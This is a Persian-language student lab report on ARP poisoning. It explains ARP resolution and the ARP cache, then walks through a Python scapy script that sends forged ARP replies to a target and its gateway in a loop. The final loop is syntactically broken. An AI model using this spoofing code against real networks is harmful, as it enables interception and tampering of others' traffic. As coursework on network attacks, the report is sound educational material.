آزمایشگاه شبکه های کامپیوتری

[Document subtitle]

Mahsa partovi

11/30/20

Iran, Urmia

طراحان پروتکلARP ، آن را بر اساس کارایی ساختند که باعث شد حفره های امنیتی زیادی در آن به وجود آید. حفره های امنیتی آن باعث شد که هکرها تا زمانی که در شبکه داخلی به کلاینت هدف خود دسترسی داشته باشند، بتوانند به آسانی به وی حمله کنند.

ARP مسئول تبدیل IP به Mac Address است. این پروسه از طریق Broadcasting در داخل شبکه انجام می شود.بدین صورت که کامپیوتر ارسال کننده در داخل شبکه فریاد میزند که " این آدرس IP متعلق به چی کسی است؟ من آدرس MAC تو را نیاز دارم ! ". این Broadcast به داخل شبکه فرستاده می شود و همه ی کامپیوتر ها ، data های Broadcast را دریافت می کنند .سپس کامپیوتری که آدرس IP ارسال شده متعلق به او می باشد در پاسخ ، آدرس MAC خود را می فرستد. در نهایت این پروسه با در اختیار قرار دادن آدرس MAC به کامپیوتری که برای ارسال داده های خود نیازمند آن آدرس بود کامل می شود.

برای کاهش تعداد Broadcastها و در نتیجه کاهش ترافیک شبکه ،از یک Client Cache که آدرس ها را برای یک بازه زمانی درون یک جدول نگهداری می کند ، استفاده می شود. این جدول (ARP Table یا ARP Cache)هر 120 ثانیه Refresh می شود و تغییرات احتمالی را چک می کند.

حمله ARP Poisoning یکی از حملات رایج در شبکه می باشد که روش های متنوعی برای شناسایی و حتی جلوگیری از رخداد آن وجود دارد.

فرض کنید A و B به هم اعتماد دارند و دادههای خود را با هم به اشتراک میگذارند. حال اگر C به میان بیاید و ادعا کند که B است ، A میتواند اطلاعاتی که باید برای B بفرستد را بهC میفرستد و C میتواند از آن سواستفاده کند .

حمله ARP Poisoning به عمل ارسال بسته های جعلی ARP Reply به یک Gateway در یک شبکه داخلی می گویند. هکرها با داشتن آدرس IP کلاینت هدف، می توانند بسته های جعلی ARP را به سایر کلاینت های داخل شبکه ارسال کنند. پیام های جعلی به client ها این مفهوم را می رسانند که آدرس MAC هکر باید به آدرس IP کلاینت هدف در جدول ARP آن ها نگاشت شود. این عمل باعث می شود کلاینت های موجود در شبکه، جدول ARP Cache خود را با آدرس Mac هکر Update کنند. هر موقع که کلاینت ها بخواهند بسته ای به کلاینت هدف ارسال کنند، این بسته به هکر ارسال خواهد شد. هکر می تواند به طور مخفیانه داده ها را دزدیده یا آن ها را دستکاری و به مقصد برساند یا حتی به طور کامل ارتباط کلاینت ها با کلاینت هدف را قطع کند.

برای اجرا کردن کد موردنظر که در آدرس گیت هاب بنده

https://github.com/mahsapartovi/Arp-poisoning-

قرار دارد بصورت زیر عمل میکنیم :

1. ابتدا آدرس IP دستگاه هدف و همچنین آدرس Mac آن را بدست می آوریم (من اینجا لپ تابم رو به عنوان دستگاهی که بهش حمله میشه در نظر گرفتم)
2. سپس با استفاده از تابع زیر mac address مربوط به IP مورد نظر را برمیگرداند.

```
def get_mac(ip):
    arp_request = scapy.ARP(pdst = ip)
    broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
    return answered_list[0][1].hwsrc
```

در این تابع get_mac ()، از هر آدرس IP که استفاده می شود برای ایجاد arp_quest با استفاده از تابع ARP ()استفاده می شود و

ما با استفاده از تابع Ether آدرس مک broadcast را روی " ff: ff: ff: ff: ff: ff" تنظیم می کنیم.

تابع srp ()دو لیست از آدرس IP را که به بسته پاسخ داده اند ، برمی گرداند. آدرس MAC دارای آدرس IP منطبق با درخواست ما در قسمت hwsrc ذخیره می شود. ما این آدرس MAC را به محلی که عملکرد خوانده شده است برمی گردانیم.

3. اکنون که تابعی را ایجاد کرده ایم که آدرس MAC مورد نظر را به ما می دهد ، می توان تابع spoof ()را به صورت زیر ایجاد کرد:

```
def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op = 2, pdst = target_ip,
                hwdst = get_mac(target_ip), psrc = spoof_ip)
    scapy.send(packet, verbose = False)
```

این تابع دو پارامتر را می گیرد ، یعنی Target IP و IP Spoofing. ما از تابع arp() برای تهیه بسته ای که جدول ARP gatewaye و Target را اصلاح می کند استفاده و از تابع send () برای شروع spoofing استفاده می کنیم .

4. حالا تابع spoof برای شروع تابع arp() فراخوانی میکنیم:

```
target_ip = "10.0.2.5" # Enter your target IP
gateway_ip = "10.0.2.1" # Enter your gateway's IP
while true{
        spoof(target_ip, gateway_ip)
```

```
spoof(gateway_ip, target_ip)
sent_packets_count = sent_packets_count + 2
print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
```

کد را بصورت کامل ارسال شده است .